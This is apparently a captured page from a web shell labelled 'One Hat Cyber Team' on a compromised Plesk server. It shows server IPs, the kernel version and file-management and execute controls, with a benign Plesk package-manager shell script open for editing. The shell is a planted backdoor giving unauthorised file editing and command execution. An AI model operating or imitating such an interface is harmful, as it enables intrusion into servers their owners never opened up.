⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
local
/
psa
/
admin
/
sbin
/
modules
/
ntp-timesync
/
Edit File: package-mng.sh
#!/usr/bin/env bash ### Copyright 1999-2024. WebPros International GmbH. All rights reserved. PACKAGE_MANAGER="" present() { local package="$1" case "$PACKAGE_MANAGER" in apt) if apt show "$package" >/dev/null 2>&1; then echo "true" return fi ;; dnf) if dnf list "$package" >/dev/null 2>&1; then echo "true" return fi ;; yum) if yum list "$package" >/dev/null 2>&1; then echo "true" return fi ;; esac echo "false" } known_unit() { # CentOS 7.0 and 7.1 probably don't have this feature local service="$1" if systemctl cat "${service}.service"; then echo "true" return fi echo "false" } find_package_manager() { if command -v apt >/dev/null 2>&1; then PACKAGE_MANAGER="apt" return 0 fi if command -v dnf >/dev/null 2>&1; then PACKAGE_MANAGER="dnf" return 0 fi if command -v yum >/dev/null 2>&1; then PACKAGE_MANAGER="yum" return 0 fi return 1 } main() { if ! find_package_manager; then echo "Unknown package manager" >&2 exit 1 fi case "$1" in is-present) present "${2:?'Package name must be specified as second parameter'}" ;; is-known-unit) known_unit "${2:?'Service name must be specified as second parameter'}" ;; *) echo "Unknown command ${1}" >&2 exit 1 esac } main "$@"
Simpan